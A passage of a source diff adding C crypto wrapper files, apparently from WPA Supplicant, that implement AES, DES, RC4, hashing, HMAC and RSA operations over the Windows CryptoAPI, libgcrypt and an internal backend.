|
||||
|
||||
|
||||
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt)
|
||||
{
|
||||
struct aes_context *akey = ctx;
|
||||
DWORD dlen;
|
||||
|
||||
os_memcpy(crypt, plain, 16);
|
||||
dlen = 16;
|
||||
if (!CryptEncrypt(akey->ckey, 0, FALSE, 0, crypt, &dlen, 16)) {
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptEncrypt failed: %d",
|
||||
(int) GetLastError());
|
||||
os_memset(crypt, 0, 16);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void aes_encrypt_deinit(void *ctx)
|
||||
{
|
||||
struct aes_context *akey = ctx;
|
||||
if (akey) {
|
||||
CryptDestroyKey(akey->ckey);
|
||||
CryptReleaseContext(akey->prov, 0);
|
||||
os_free(akey);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void * aes_decrypt_init(const u8 *key, size_t len)
|
||||
{
|
||||
return aes_encrypt_init(key, len);
|
||||
}
|
||||
|
||||
|
||||
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain)
|
||||
{
|
||||
struct aes_context *akey = ctx;
|
||||
DWORD dlen;
|
||||
|
||||
os_memcpy(plain, crypt, 16);
|
||||
dlen = 16;
|
||||
|
||||
if (!CryptDecrypt(akey->ckey, 0, FALSE, 0, plain, &dlen)) {
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: CryptDecrypt failed: %d",
|
||||
(int) GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void aes_decrypt_deinit(void *ctx)
|
||||
{
|
||||
aes_encrypt_deinit(ctx);
|
||||
}
|
||||
|
||||
|
||||
struct crypto_hash {
|
||||
enum crypto_hash_alg alg;
|
||||
int error;
|
||||
HCRYPTPROV prov;
|
||||
HCRYPTHASH hash;
|
||||
HCRYPTKEY key;
|
||||
};
|
||||
|
||||
struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key,
|
||||
size_t key_len)
|
||||
{
|
||||
struct crypto_hash *ctx;
|
||||
ALG_ID calg;
|
||||
struct {
|
||||
BLOBHEADER hdr;
|
||||
DWORD len;
|
||||
BYTE key[32];
|
||||
} key_blob;
|
||||
|
||||
os_memset(&key_blob, 0, sizeof(key_blob));
|
||||
switch (alg) {
|
||||
case CRYPTO_HASH_ALG_MD5:
|
||||
calg = CALG_MD5;
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_SHA1:
|
||||
calg = CALG_SHA;
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_HMAC_MD5:
|
||||
case CRYPTO_HASH_ALG_HMAC_SHA1:
|
||||
calg = CALG_HMAC;
|
||||
key_blob.hdr.bType = PLAINTEXTKEYBLOB;
|
||||
key_blob.hdr.bVersion = CUR_BLOB_VERSION;
|
||||
key_blob.hdr.reserved = 0;
|
||||
/*
|
||||
* Note: RC2 is not really used, but that can be used to
|
||||
* import HMAC keys of up to 16 byte long.
|
||||
* CRYPT_IPSEC_HMAC_KEY flag for CryptImportKey() is needed to
|
||||
* be able to import longer keys (HMAC-SHA1 uses 20-byte key).
|
||||
*/
|
||||
key_blob.hdr.aiKeyAlg = CALG_RC2;
|
||||
key_blob.len = key_len;
|
||||
if (key_len > sizeof(key_blob.key))
|
||||
return NULL;
|
||||
os_memcpy(key_blob.key, key, key_len);
|
||||
break;
|
||||
default:
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ctx = os_zalloc(sizeof(*ctx));
|
||||
if (ctx == NULL)
|
||||
return NULL;
|
||||
|
||||
ctx->alg = alg;
|
||||
|
||||
if (!CryptAcquireContext(&ctx->prov, NULL, NULL, PROV_RSA_FULL, 0)) {
|
||||
cryptoapi_report_error("CryptAcquireContext");
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (calg == CALG_HMAC) {
|
||||
#ifndef CRYPT_IPSEC_HMAC_KEY
|
||||
#define CRYPT_IPSEC_HMAC_KEY 0x00000100
|
||||
#endif
|
||||
if (!CryptImportKey(ctx->prov, (BYTE *) &key_blob,
|
||||
sizeof(key_blob), 0, CRYPT_IPSEC_HMAC_KEY,
|
||||
&ctx->key)) {
|
||||
cryptoapi_report_error("CryptImportKey");
|
||||
CryptReleaseContext(ctx->prov, 0);
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
if (!CryptCreateHash(ctx->prov, calg, ctx->key, 0, &ctx->hash)) {
|
||||
cryptoapi_report_error("CryptCreateHash");
|
||||
CryptReleaseContext(ctx->prov, 0);
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (calg == CALG_HMAC) {
|
||||
HMAC_INFO info;
|
||||
os_memset(&info, 0, sizeof(info));
|
||||
switch (alg) {
|
||||
case CRYPTO_HASH_ALG_HMAC_MD5:
|
||||
info.HashAlgid = CALG_MD5;
|
||||
break;
|
||||
case CRYPTO_HASH_ALG_HMAC_SHA1:
|
||||
info.HashAlgid = CALG_SHA;
|
||||
break;
|
||||
default:
|
||||
/* unreachable */
|
||||
break;
|
||||
}
|
||||
|
||||
if (!CryptSetHashParam(ctx->hash, HP_HMAC_INFO, (BYTE *) &info,
|
||||
0)) {
|
||||
cryptoapi_report_error("CryptSetHashParam");
|
||||
CryptDestroyHash(ctx->hash);
|
||||
CryptReleaseContext(ctx->prov, 0);
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
return ctx;
|
||||
}
|
||||
|
||||
|
||||
void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len)
|
||||
{
|
||||
if (ctx == NULL || ctx->error)
|
||||
return;
|
||||
|
||||
if (!CryptHashData(ctx->hash, (BYTE *) data, len, 0)) {
|
||||
cryptoapi_report_error("CryptHashData");
|
||||
ctx->error = 1;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len)
|
||||
{
|
||||
int ret = 0;
|
||||
DWORD hlen;
|
||||
|
||||
if (ctx == NULL)
|
||||
return -2;
|
||||
|
||||
if (mac == NULL || len == NULL)
|
||||
goto done;
|
||||
|
||||
if (ctx->error) {
|
||||
ret = -2;
|
||||
goto done;
|
||||
}
|
||||
|
||||
hlen = *len;
|
||||
if (!CryptGetHashParam(ctx->hash, HP_HASHVAL, mac, &hlen, 0)) {
|
||||
cryptoapi_report_error("CryptGetHashParam");
|
||||
ret = -2;
|
||||
}
|
||||
*len = hlen;
|
||||
|
||||
done:
|
||||
if (ctx->alg == CRYPTO_HASH_ALG_HMAC_SHA1 ||
|
||||
ctx->alg == CRYPTO_HASH_ALG_HMAC_MD5)
|
||||
CryptDestroyKey(ctx->key);
|
||||
|
||||
os_free(ctx);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
struct crypto_cipher {
|
||||
HCRYPTPROV prov;
|
||||
HCRYPTKEY key;
|
||||
};
|
||||
|
||||
|
||||
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
|
||||
const u8 *iv, const u8 *key,
|
||||
size_t key_len)
|
||||
{
|
||||
struct crypto_cipher *ctx;
|
||||
struct {
|
||||
BLOBHEADER hdr;
|
||||
DWORD len;
|
||||
BYTE key[32];
|
||||
} key_blob;
|
||||
DWORD mode = CRYPT_MODE_CBC;
|
||||
|
||||
key_blob.hdr.bType = PLAINTEXTKEYBLOB;
|
||||
key_blob.hdr.bVersion = CUR_BLOB_VERSION;
|
||||
key_blob.hdr.reserved = 0;
|
||||
key_blob.len = key_len;
|
||||
if (key_len > sizeof(key_blob.key))
|
||||
return NULL;
|
||||
os_memcpy(key_blob.key, key, key_len);
|
||||
|
||||
switch (alg) {
|
||||
case CRYPTO_CIPHER_ALG_AES:
|
||||
if (key_len == 32)
|
||||
key_blob.hdr.aiKeyAlg = CALG_AES_256;
|
||||
else if (key_len == 24)
|
||||
key_blob.hdr.aiKeyAlg = CALG_AES_192;
|
||||
else
|
||||
key_blob.hdr.aiKeyAlg = CALG_AES_128;
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_3DES:
|
||||
key_blob.hdr.aiKeyAlg = CALG_3DES;
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_DES:
|
||||
key_blob.hdr.aiKeyAlg = CALG_DES;
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_RC2:
|
||||
key_blob.hdr.aiKeyAlg = CALG_RC2;
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_RC4:
|
||||
key_blob.hdr.aiKeyAlg = CALG_RC4;
|
||||
break;
|
||||
default:
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ctx = os_zalloc(sizeof(*ctx));
|
||||
if (ctx == NULL)
|
||||
return NULL;
|
||||
|
||||
if (!CryptAcquireContext(&ctx->prov, NULL, MS_ENH_RSA_AES_PROV,
|
||||
PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
|
||||
cryptoapi_report_error("CryptAcquireContext");
|
||||
goto fail1;
|
||||
}
|
||||
|
||||
if (!CryptImportKey(ctx->prov, (BYTE *) &key_blob,
|
||||
sizeof(key_blob), 0, 0, &ctx->key)) {
|
||||
cryptoapi_report_error("CryptImportKey");
|
||||
goto fail2;
|
||||
}
|
||||
|
||||
if (!CryptSetKeyParam(ctx->key, KP_MODE, (BYTE *) &mode, 0)) {
|
||||
cryptoapi_report_error("CryptSetKeyParam(KP_MODE)");
|
||||
goto fail3;
|
||||
}
|
||||
|
||||
if (iv && !CryptSetKeyParam(ctx->key, KP_IV, (BYTE *) iv, 0)) {
|
||||
cryptoapi_report_error("CryptSetKeyParam(KP_IV)");
|
||||
goto fail3;
|
||||
}
|
||||
|
||||
return ctx;
|
||||
|
||||
fail3:
|
||||
CryptDestroyKey(ctx->key);
|
||||
fail2:
|
||||
CryptReleaseContext(ctx->prov, 0);
|
||||
fail1:
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain,
|
||||
u8 *crypt, size_t len)
|
||||
{
|
||||
DWORD dlen;
|
||||
|
||||
os_memcpy(crypt, plain, len);
|
||||
dlen = len;
|
||||
if (!CryptEncrypt(ctx->key, 0, FALSE, 0, crypt, &dlen, len)) {
|
||||
cryptoapi_report_error("CryptEncrypt");
|
||||
os_memset(crypt, 0, len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt,
|
||||
u8 *plain, size_t len)
|
||||
{
|
||||
DWORD dlen;
|
||||
|
||||
os_memcpy(plain, crypt, len);
|
||||
dlen = len;
|
||||
if (!CryptDecrypt(ctx->key, 0, FALSE, 0, plain, &dlen)) {
|
||||
cryptoapi_report_error("CryptDecrypt");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void crypto_cipher_deinit(struct crypto_cipher *ctx)
|
||||
{
|
||||
CryptDestroyKey(ctx->key);
|
||||
CryptReleaseContext(ctx->prov, 0);
|
||||
os_free(ctx);
|
||||
}
|
||||
|
||||
|
||||
struct crypto_public_key {
|
||||
HCRYPTPROV prov;
|
||||
HCRYPTKEY rsa;
|
||||
};
|
||||
|
||||
struct crypto_private_key {
|
||||
HCRYPTPROV prov;
|
||||
HCRYPTKEY rsa;
|
||||
};
|
||||
|
||||
|
||||
struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len)
|
||||
{
|
||||
/* Use crypto_public_key_from_cert() instead. */
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
struct crypto_private_key * crypto_private_key_import(const u8 *key,
|
||||
size_t len,
|
||||
const char *passwd)
|
||||
{
|
||||
/* TODO */
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf,
|
||||
size_t len)
|
||||
{
|
||||
struct crypto_public_key *pk;
|
||||
PCCERT_CONTEXT cc;
|
||||
|
||||
pk = os_zalloc(sizeof(*pk));
|
||||
if (pk == NULL)
|
||||
return NULL;
|
||||
|
||||
cc = CertCreateCertificateContext(X509_ASN_ENCODING |
|
||||
PKCS_7_ASN_ENCODING, buf, len);
|
||||
if (!cc) {
|
||||
cryptoapi_report_error("CryptCreateCertificateContext");
|
||||
os_free(pk);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (!CryptAcquireContext(&pk->prov, NULL, MS_DEF_PROV, PROV_RSA_FULL,
|
||||
0)) {
|
||||
cryptoapi_report_error("CryptAcquireContext");
|
||||
os_free(pk);
|
||||
CertFreeCertificateContext(cc);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (!CryptImportPublicKeyInfo(pk->prov, X509_ASN_ENCODING |
|
||||
PKCS_7_ASN_ENCODING,
|
||||
&cc->pCertInfo->SubjectPublicKeyInfo,
|
||||
&pk->rsa)) {
|
||||
cryptoapi_report_error("CryptImportPublicKeyInfo");
|
||||
CryptReleaseContext(pk->prov, 0);
|
||||
os_free(pk);
|
||||
CertFreeCertificateContext(cc);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
CertFreeCertificateContext(cc);
|
||||
|
||||
return pk;
|
||||
}
|
||||
|
||||
|
||||
int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key,
|
||||
const u8 *in, size_t inlen,
|
||||
u8 *out, size_t *outlen)
|
||||
{
|
||||
DWORD clen;
|
||||
u8 *tmp;
|
||||
size_t i;
|
||||
|
||||
if (*outlen < inlen)
|
||||
return -1;
|
||||
tmp = malloc(*outlen);
|
||||
if (tmp == NULL)
|
||||
return -1;
|
||||
|
||||
os_memcpy(tmp, in, inlen);
|
||||
clen = inlen;
|
||||
if (!CryptEncrypt(key->rsa, 0, TRUE, 0, tmp, &clen, *outlen)) {
|
||||
wpa_printf(MSG_DEBUG, "CryptoAPI: Failed to encrypt using "
|
||||
"public key: %d", (int) GetLastError());
|
||||
os_free(tmp);
|
||||
return -1;
|
||||
}
|
||||
|
||||
*outlen = clen;
|
||||
|
||||
/* Reverse the output */
|
||||
for (i = 0; i < *outlen; i++)
|
||||
out[i] = tmp[*outlen - 1 - i];
|
||||
|
||||
os_free(tmp);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int crypto_private_key_sign_pkcs1(struct crypto_private_key *key,
|
||||
const u8 *in, size_t inlen,
|
||||
u8 *out, size_t *outlen)
|
||||
{
|
||||
/* TODO */
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
void crypto_public_key_free(struct crypto_public_key *key)
|
||||
{
|
||||
if (key) {
|
||||
CryptDestroyKey(key->rsa);
|
||||
CryptReleaseContext(key->prov, 0);
|
||||
os_free(key);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void crypto_private_key_free(struct crypto_private_key *key)
|
||||
{
|
||||
if (key) {
|
||||
CryptDestroyKey(key->rsa);
|
||||
CryptReleaseContext(key->prov, 0);
|
||||
os_free(key);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int crypto_global_init(void)
|
||||
{
|
||||
return mingw_load_crypto_func();
|
||||
}
|
||||
|
||||
|
||||
void crypto_global_deinit(void)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
int crypto_mod_exp(const u8 *base, size_t base_len,
|
||||
const u8 *power, size_t power_len,
|
||||
const u8 *modulus, size_t modulus_len,
|
||||
u8 *result, size_t *result_len)
|
||||
{
|
||||
/* TODO */
|
||||
return -1;
|
||||
}
|
|
@ -0,0 +1,305 @@
|
|||
/*
|
||||
* WPA Supplicant / wrapper functions for libgcrypt
|
||||
* Copyright (c) 2004-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
#include <gcrypt.h>
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
|
||||
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
gcry_md_hd_t hd;
|
||||
unsigned char *p;
|
||||
size_t i;
|
||||
|
||||
if (gcry_md_open(&hd, GCRY_MD_MD4, 0) != GPG_ERR_NO_ERROR)
|
||||
return -1;
|
||||
for (i = 0; i < num_elem; i++)
|
||||
gcry_md_write(hd, addr[i], len[i]);
|
||||
p = gcry_md_read(hd, GCRY_MD_MD4);
|
||||
if (p)
|
||||
memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_MD4));
|
||||
gcry_md_close(hd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
|
||||
{
|
||||
gcry_cipher_hd_t hd;
|
||||
u8 pkey[8], next, tmp;
|
||||
int i;
|
||||
|
||||
/* Add parity bits to the key */
|
||||
next = 0;
|
||||
for (i = 0; i < 7; i++) {
|
||||
tmp = key[i];
|
||||
pkey[i] = (tmp >> i) | next | 1;
|
||||
next = tmp << (7 - i);
|
||||
}
|
||||
pkey[i] = next | 1;
|
||||
|
||||
gcry_cipher_open(&hd, GCRY_CIPHER_DES, GCRY_CIPHER_MODE_ECB, 0);
|
||||
gcry_err_code(gcry_cipher_setkey(hd, pkey, 8));
|
||||
gcry_cipher_encrypt(hd, cypher, 8, clear, 8);
|
||||
gcry_cipher_close(hd);
|
||||
}
|
||||
|
||||
|
||||
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
gcry_md_hd_t hd;
|
||||
unsigned char *p;
|
||||
size_t i;
|
||||
|
||||
if (gcry_md_open(&hd, GCRY_MD_MD5, 0) != GPG_ERR_NO_ERROR)
|
||||
return -1;
|
||||
for (i = 0; i < num_elem; i++)
|
||||
gcry_md_write(hd, addr[i], len[i]);
|
||||
p = gcry_md_read(hd, GCRY_MD_MD5);
|
||||
if (p)
|
||||
memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_MD5));
|
||||
gcry_md_close(hd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
gcry_md_hd_t hd;
|
||||
unsigned char *p;
|
||||
size_t i;
|
||||
|
||||
if (gcry_md_open(&hd, GCRY_MD_SHA1, 0) != GPG_ERR_NO_ERROR)
|
||||
return -1;
|
||||
for (i = 0; i < num_elem; i++)
|
||||
gcry_md_write(hd, addr[i], len[i]);
|
||||
p = gcry_md_read(hd, GCRY_MD_SHA1);
|
||||
if (p)
|
||||
memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_SHA1));
|
||||
gcry_md_close(hd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void * aes_encrypt_init(const u8 *key, size_t len)
|
||||
{
|
||||
gcry_cipher_hd_t hd;
|
||||
|
||||
if (gcry_cipher_open(&hd, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0) !=
|
||||
GPG_ERR_NO_ERROR) {
|
||||
printf("cipher open failed\n");
|
||||
return NULL;
|
||||
}
|
||||
if (gcry_cipher_setkey(hd, key, len) != GPG_ERR_NO_ERROR) {
|
||||
printf("setkey failed\n");
|
||||
gcry_cipher_close(hd);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return hd;
|
||||
}
|
||||
|
||||
|
||||
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt)
|
||||
{
|
||||
gcry_cipher_hd_t hd = ctx;
|
||||
gcry_cipher_encrypt(hd, crypt, 16, plain, 16);
|
||||
}
|
||||
|
||||
|
||||
void aes_encrypt_deinit(void *ctx)
|
||||
{
|
||||
gcry_cipher_hd_t hd = ctx;
|
||||
gcry_cipher_close(hd);
|
||||
}
|
||||
|
||||
|
||||
void * aes_decrypt_init(const u8 *key, size_t len)
|
||||
{
|
||||
gcry_cipher_hd_t hd;
|
||||
|
||||
if (gcry_cipher_open(&hd, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0) !=
|
||||
GPG_ERR_NO_ERROR)
|
||||
return NULL;
|
||||
if (gcry_cipher_setkey(hd, key, len) != GPG_ERR_NO_ERROR) {
|
||||
gcry_cipher_close(hd);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return hd;
|
||||
}
|
||||
|
||||
|
||||
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain)
|
||||
{
|
||||
gcry_cipher_hd_t hd = ctx;
|
||||
gcry_cipher_decrypt(hd, plain, 16, crypt, 16);
|
||||
}
|
||||
|
||||
|
||||
void aes_decrypt_deinit(void *ctx)
|
||||
{
|
||||
gcry_cipher_hd_t hd = ctx;
|
||||
gcry_cipher_close(hd);
|
||||
}
|
||||
|
||||
|
||||
int crypto_mod_exp(const u8 *base, size_t base_len,
|
||||
const u8 *power, size_t power_len,
|
||||
const u8 *modulus, size_t modulus_len,
|
||||
u8 *result, size_t *result_len)
|
||||
{
|
||||
gcry_mpi_t bn_base = NULL, bn_exp = NULL, bn_modulus = NULL,
|
||||
bn_result = NULL;
|
||||
int ret = -1;
|
||||
|
||||
if (gcry_mpi_scan(&bn_base, GCRYMPI_FMT_USG, base, base_len, NULL) !=
|
||||
GPG_ERR_NO_ERROR ||
|
||||
gcry_mpi_scan(&bn_exp, GCRYMPI_FMT_USG, power, power_len, NULL) !=
|
||||
GPG_ERR_NO_ERROR ||
|
||||
gcry_mpi_scan(&bn_modulus, GCRYMPI_FMT_USG, modulus, modulus_len,
|
||||
NULL) != GPG_ERR_NO_ERROR)
|
||||
goto error;
|
||||
bn_result = gcry_mpi_new(modulus_len * 8);
|
||||
|
||||
gcry_mpi_powm(bn_result, bn_base, bn_exp, bn_modulus);
|
||||
|
||||
if (gcry_mpi_print(GCRYMPI_FMT_USG, result, *result_len, result_len,
|
||||
bn_result) != GPG_ERR_NO_ERROR)
|
||||
goto error;
|
||||
|
||||
ret = 0;
|
||||
|
||||
error:
|
||||
gcry_mpi_release(bn_base);
|
||||
gcry_mpi_release(bn_exp);
|
||||
gcry_mpi_release(bn_modulus);
|
||||
gcry_mpi_release(bn_result);
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
struct crypto_cipher {
|
||||
gcry_cipher_hd_t enc;
|
||||
gcry_cipher_hd_t dec;
|
||||
};
|
||||
|
||||
|
||||
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
|
||||
const u8 *iv, const u8 *key,
|
||||
size_t key_len)
|
||||
{
|
||||
struct crypto_cipher *ctx;
|
||||
gcry_error_t res;
|
||||
enum gcry_cipher_algos a;
|
||||
int ivlen;
|
||||
|
||||
ctx = os_zalloc(sizeof(*ctx));
|
||||
if (ctx == NULL)
|
||||
return NULL;
|
||||
|
||||
switch (alg) {
|
||||
case CRYPTO_CIPHER_ALG_RC4:
|
||||
a = GCRY_CIPHER_ARCFOUR;
|
||||
res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_STREAM,
|
||||
0);
|
||||
gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_STREAM, 0);
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_AES:
|
||||
if (key_len == 24)
|
||||
a = GCRY_CIPHER_AES192;
|
||||
else if (key_len == 32)
|
||||
a = GCRY_CIPHER_AES256;
|
||||
else
|
||||
a = GCRY_CIPHER_AES;
|
||||
res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0);
|
||||
gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0);
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_3DES:
|
||||
a = GCRY_CIPHER_3DES;
|
||||
res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0);
|
||||
gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0);
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_DES:
|
||||
a = GCRY_CIPHER_DES;
|
||||
res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0);
|
||||
gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0);
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_RC2:
|
||||
if (key_len == 5)
|
||||
a = GCRY_CIPHER_RFC2268_40;
|
||||
else
|
||||
a = GCRY_CIPHER_RFC2268_128;
|
||||
res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0);
|
||||
gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0);
|
||||
break;
|
||||
default:
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (res != GPG_ERR_NO_ERROR) {
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (gcry_cipher_setkey(ctx->enc, key, key_len) != GPG_ERR_NO_ERROR ||
|
||||
gcry_cipher_setkey(ctx->dec, key, key_len) != GPG_ERR_NO_ERROR) {
|
||||
gcry_cipher_close(ctx->enc);
|
||||
gcry_cipher_close(ctx->dec);
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ivlen = gcry_cipher_get_algo_blklen(a);
|
||||
if (gcry_cipher_setiv(ctx->enc, iv, ivlen) != GPG_ERR_NO_ERROR ||
|
||||
gcry_cipher_setiv(ctx->dec, iv, ivlen) != GPG_ERR_NO_ERROR) {
|
||||
gcry_cipher_close(ctx->enc);
|
||||
gcry_cipher_close(ctx->dec);
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return ctx;
|
||||
}
|
||||
|
||||
|
||||
int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain,
|
||||
u8 *crypt, size_t len)
|
||||
{
|
||||
if (gcry_cipher_encrypt(ctx->enc, crypt, len, plain, len) !=
|
||||
GPG_ERR_NO_ERROR)
|
||||
return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt,
|
||||
u8 *plain, size_t len)
|
||||
{
|
||||
if (gcry_cipher_decrypt(ctx->dec, plain, len, crypt, len) !=
|
||||
GPG_ERR_NO_ERROR)
|
||||
return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void crypto_cipher_deinit(struct crypto_cipher *ctx)
|
||||
{
|
||||
gcry_cipher_close(ctx->enc);
|
||||
gcry_cipher_close(ctx->dec);
|
||||
os_free(ctx);
|
||||
}
|
|
@ -0,0 +1,256 @@
|
|||
/*
|
||||
* Crypto wrapper for internal crypto implementation - Cipher wrappers
|
||||
* Copyright (c) 2006-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
#include "aes.h"
|
||||
#include "des_i.h"
|
||||
|
||||
|
||||
struct crypto_cipher {
|
||||
enum crypto_cipher_alg alg;
|
||||
union {
|
||||
struct {
|
||||
size_t used_bytes;
|
||||
u8 key[16];
|
||||
size_t keylen;
|
||||
} rc4;
|
||||
struct {
|
||||
u8 cbc[32];
|
||||
size_t block_size;
|
||||
void *ctx_enc;
|
||||
void *ctx_dec;
|
||||
} aes;
|
||||
struct {
|
||||
struct des3_key_s key;
|
||||
u8 cbc[8];
|
||||
} des3;
|
||||
struct {
|
||||
u32 ek[32];
|
||||
u32 dk[32];
|
||||
u8 cbc[8];
|
||||
} des;
|
||||
} u;
|
||||
};
|
||||
|
||||
|
||||
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
|
||||
const u8 *iv, const u8 *key,
|
||||
size_t key_len)
|
||||
{
|
||||
struct crypto_cipher *ctx;
|
||||
|
||||
ctx = os_zalloc(sizeof(*ctx));
|
||||
if (ctx == NULL)
|
||||
return NULL;
|
||||
|
||||
ctx->alg = alg;
|
||||
|
||||
switch (alg) {
|
||||
case CRYPTO_CIPHER_ALG_RC4:
|
||||
if (key_len > sizeof(ctx->u.rc4.key)) {
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
ctx->u.rc4.keylen = key_len;
|
||||
os_memcpy(ctx->u.rc4.key, key, key_len);
|
||||
break;
|
||||
case CRYPTO_CIPHER_ALG_AES:
|
||||
if (key_len > sizeof(ctx->u.aes.cbc)) {
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
ctx->u.aes.ctx_enc = aes_encrypt_init(key, key_len);
|
||||
if (ctx->u.aes.ctx_enc == NULL) {
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
ctx->u.aes.ctx_dec = aes_decrypt_init(key, key_len);
|
||||
if (ctx->u.aes.ctx_dec == NULL) {
|
||||
aes_encrypt_deinit(ctx->u.aes.ctx_enc);
|
||||
os_free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
ctx->u.aes.block_size = key_len;
|
||||
os_memcpy(ctx->u.aes.cbc, iv, ctx->u.aes.block_size);
|
||||
break;
|
||||
